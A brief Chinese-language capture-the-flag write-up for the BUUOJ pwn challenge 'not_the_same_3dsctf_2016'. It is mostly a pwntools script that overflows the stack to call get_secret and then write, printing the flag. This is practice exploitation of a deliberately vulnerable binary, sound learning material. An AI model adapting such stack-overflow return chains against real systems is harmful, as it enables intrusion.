not_the_same_3dsctf_2016
一開始看到這兩個函數,直接棧溢出,跳過來不就行了,,,沒注意看,get_secret,是指將flag讀入了f14g,並沒有打印出來呢,所以我們還需要自己打印一下
搜了一下,有write函數,那就調用它
#coding=utf-8
from pwn import *
connect = 1#連接本地
fileName=''#文件名
port='node3.buuoj.cn'#端口
ip='29206'#IP地址
main_addr = 0x080489E0
secret_addr = 0x080489A0
write_addr = 0x0806E270
fl4g = 0x080ECA2D
if connect:
p=remote(port,ip)
else :
p=process("./"+fileName+"")
#p.recvuntil("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ")
#跳到get_secret,先讓flag讀入,最後返回main
p.sendline("a"*0x2d+p32(secret_addr)+p32(main_addr))
#調用write函數讀出
p.sendline("a"*0x2d+p32(write_addr)+p32(main_addr)+p32(1)+p32(fl4g)+p32(0x100))
p.interactive()